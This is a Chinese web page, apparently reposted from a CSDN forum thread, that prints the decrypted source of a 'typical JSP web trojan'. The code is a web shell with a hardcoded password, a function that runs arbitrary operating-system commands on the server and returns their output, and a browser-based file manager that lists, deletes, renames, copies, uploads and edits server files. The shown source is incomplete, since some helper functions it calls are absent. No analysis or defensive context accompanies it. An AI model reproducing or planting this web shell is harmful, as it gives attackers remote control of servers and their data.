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典型的JSP网页木马(解密)

来源(CSDN论坛 - CSDN.NET)

From: http://bbs.csdn.net/topics/360215480

<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.Map"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="java.sql.*"%>
<%!
private String _password = "520520";
private String _encodeType = "GB2312";
private int _sessionOutTime = 20;
private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"};
private Connection _dbConnection = null;
private Statement _dbStatement = null;
private String _url = null;
 
public boolean validate(String password) {
 if (password.equals(_password)) {
  return true;
 } else {
  return false;
 }
}
 
public String HTMLEncode(String str) {
 str = str.replaceAll(" ", "&nbsp;");
 str = str.replaceAll("<", "&lt;");
 str = str.replaceAll(">", "&gt;");
 str = str.replaceAll("\r\n", "<br>");
  
 return str;
}
 
public String Unicode2GB(String str) {
 String sRet = null;
  
 try {
  sRet = new String(str.getBytes("ISO8859_1"), _encodeType);
 } catch (Exception e) {
  sRet = str;
 }
  
 return sRet;
}
 
public String exeCmd(String cmd) {
 Runtime runtime = Runtime.getRuntime();
 Process proc = null;
 String retStr = "";
 InputStreamReader insReader = null;
 char[] tmpBuffer = new char[1024];
 int nRet = 0;
  
 try {
  proc = runtime.exec(cmd);
  insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
  
  while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
   retStr += new String(tmpBuffer, 0, nRet);
  }
  
  insReader.close();
  retStr = HTMLEncode(retStr);
 } catch (Exception e) {
  retStr = "<font color=\"red\">bad command \"" + cmd + "\"</font>";
 } finally {
  return retStr;
 }
}
 
public String pathConvert(String path) {
 String sRet = path.replace('\\', '/');
 File file = new File(path);
  
 if (file.getParent() != null) {
  if (file.isDirectory()) {
   if (! sRet.endsWith("/"))
    sRet += "/";
  }
 } else {
  if (! sRet.endsWith("/"))
   sRet += "/";
 }
  
 return sRet;
}
 
public String strCut(String str, int len) {
 String sRet;
  
 len -= 3;
  
 if (str.getBytes().length <= len) {
  sRet = str;
 } else {
  try {
   sRet = (new String(str.getBytes(), 0, len, "GBK")) + "...";
  } catch (Exception e) {
   sRet = str;
  }
 }
  
 return sRet;
}
 
public String listFiles(String path, String curUri) {
 File[] files = null;
 File curFile = null;
 String sRet = null;
 int n = 0;
 boolean isRoot = path.equals("");
  
 path = pathConvert(path);
  
 try {
  if (isRoot) {
   files = File.listRoots();
  } else {
   try {
    curFile = new File(path);
    String[] sFiles = curFile.list();
    files = new File[sFiles.length];
      
    for (n = 0; n < sFiles.length; n ++) {
     files[n] = new File(path + sFiles[n]);
    }
   } catch (Exception e) {
    sRet = "<font color=\"red\">bad path \"" + path + "\"</font>";
   }
  }
  
  if (sRet == null) {
   sRet = "\n";
   sRet += "<script language=\"javascript\">\n";
   sRet += "var selectedFile = null;\n";
   sRet += "<!--\n";
   sRet += "function createFolder() {\n";
   sRet += " var folderName = prompt(\"请输入目录名\", \"\");\n";
   sRet += " if (folderName != null && folderName != false && ltrim(folderName) != \"\") {\n";
   sRet += "  window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFolder&folderName=\" + folderName + \"" + "\";\n";
   sRet += " }\n";
   sRet += "}\n";
   sRet += "\n";
   sRet += "function createFile() {\n";
   sRet += " var fileName = prompt(\"请输入文件名\", \"\");\n";
   sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
   sRet += "  window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFile&fileName=\" + fileName + \"" + "\";\n";
   sRet += " }\n";
   sRet += "}\n";
   sRet += "\n";
   sRet += "function selectFile(obj) {\n";
   sRet += " if (selectedFile != null)\n";
   sRet += "  selectedFile.style.backgroundColor = \"#FFFFFF\";\n";
   sRet += " selectedFile = obj;\n";
   sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
   sRet += "}\n";
   sRet += "\n";
   sRet += "function change(obj) {\n";
   sRet += " if (selectedFile != obj)\n";
   sRet += "  obj.style.backgroundColor = \"#CCCCCC\";\n";
   sRet += "}\n";
   sRet += "\n";
   sRet += "function restore(obj) {\n";
   sRet += " if (selectedFile != obj)\n";
   sRet += "  obj.style.backgroundColor = \"#FFFFFF\";\n";
   sRet += "}\n";
   sRet += "\n";
   sRet += "function showUpload() {\n";
   sRet += " up.style.visibility = \"visible\";\n";
   sRet += "}\n";
   sRet += "\n";
   sRet += "function copyFile() {\n";
   sRet += " var toPath = prompt(\"请输入要复制到的目录(绝对路径)\", \"\");\n";
   sRet += " if (toPath != null && toPath != false && ltrim(toPath) != \"\") {\n";
   sRet += "  document.fileList.action = \"" + curUri + "&curPath=" + path + "&fsAction=copyto&dstPath=" + "\" + toPath;\n";
   sRet += "  document.fileList.submit();\n";
   sRet += " }\n";
   sRet += "}\n";
   sRet += "\n";
   sRet += "function rename() {\n";
   sRet += " var count = 0;\n";
   sRet += " var selected = -1;\n";
   sRet += " for (var i = 0; i < document.fileList.filesDelete.length; i ++) {\n";
   sRet += "  if (document.fileList.filesDelete[i].checked) {\n";
   sRet += "   count ++;\n";
   sRet += "   selected = i;\n";
   sRet += "  }\n";
   sRet += " }\n";
   sRet += " if (count > 1)\n";
   sRet += "  alert(\"不能重命名多个文件\");\n";
   sRet += " else if (selected == -1)\n";
   sRet += "  alert(\"没有选中要重命名的文件\");\n";
   sRet += " else {\n";
   sRet += "  var newName = prompt(\"请输入新文件名\", \"\");\n";
   sRet += "  if (newName != null && newName != false && ltrim(newName) != \"\") {\n";
   sRet += "   window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=rename&newName=\" + newName + \"&fileRename=\" + document.fileList.filesDelete[selected].value;";
   sRet += "  }\n";
   sRet += " }\n";
   sRet += "}\n";
   sRet += "\n";
   sRet += "//-->\n";
   sRet += "</script>\n";
   sRet += "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellpadding=\"1\">\n";
   sRet += " <form enctype=\"multipart/form-data\" method=\"post\" name=\"upload\" action=\"" + curUri + "&curPath=" + path + "&fsAction=upload" + "\">\n";
    
   if (curFile != null) {
    sRet += " <tr>\n";
    sRet += "  <td colspan=\"4\" valign=\"middle\">\n";
    sRet += "   &nbsp;<a href=\"" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "\">上级目录</a>&nbsp;";
    sRet += "<a href=\"#\" onclick=\"javascript:createFolder()\">创建目录</a>&nbsp;";
    sRet += "<a href=\"#\" onclick=\"javascript:createFile()\">新建文件</a>&nbsp;";
    sRet += "<a href=\"#\" onclick=\"javascript:document.fileList.submit();\">删除</a>&nbsp;";
    sRet += "<a href=\"#\" onclick=\"javascript:copyFile()\">复制</a>&nbsp;";
    sRet += "<a href=\"#\" onclick=\"javascript:rename()\">重命名</a>&nbsp;";
    sRet += "<a href=\"#\" onclick=\"javascript:showUpload()\">上传文件</a>\n";
    sRet += "<span style=\"visibility: hidden\" id=\"up\"><input type=\"file\" value=\"上传\" name=\"upFile\" size=\"8\" class=\"textbox\" />&nbsp;<input type=\"submit\" value=\"上传\" class=\"button\"></span>\n";
    sRet += "  </td>\n";
    sRet += " </tr>\n";
   }
    
   sRet += "</form>\n";
    
   sRet += " <form name=\"fileList\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + "\">\n";
    
   for (n = 0; n < files.length; n ++) {
    sRet += " <tr onclick=\"javascript: selectFile(this)\" onmouseover=\"javascript: change(this)\" onmouseout=\"javascript: restore(this)\" style=\"cursor:hand;\">\n";
    
    if (! isRoot) {
     sRet += "  <td width=\"5%\" align=\"center\"><input type=\"checkbox\" name=\"filesDelete\" value=\"" + pathConvert(files[n].getPath()) + "\" /></td>\n";
     if (files[n].isDirectory()) {
      sRet += "  <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">&lt;" + strCut(files[n].getName(), 50) + "&gt;</a></td>\n";
     } else {
      sRet += "  <td><a title=\"" + files[n].getName() + "\">" + strCut(files[n].getName(), 50) + "</a></td>\n";
     }
      
     sRet += "  <td width=\"15%\" align=\"center\">" + (files[n].isDirectory() ? "&lt;dir&gt;" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "\">edit</a>>" : "") + "</td>\n";
     sRet += "  <td width=\"15%\" align=\"center\">" + files[n].length() + "</td>\n";
    } else {
     sRet += "  <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">" + pathConvert(files[n].getPath()) + "</a></td>\n";
    }
  
    sRet += " </tr>\n";
   }
   sRet += " </form>\n";
   sRet += "</table>\n";
  }
 } catch (SecurityException e) {
  sRet = "<font color=\"red\">security violation, no privilege.</font>";
 }
  
 return sRet;
}

Link: http://www.asm32.net/article_details.aspx?id=5964


浏览次数 0 发布时间 2013/12/2 13:29:35 从属分类 JSP/Servlet 【评论】【 】【打印】【关闭
 
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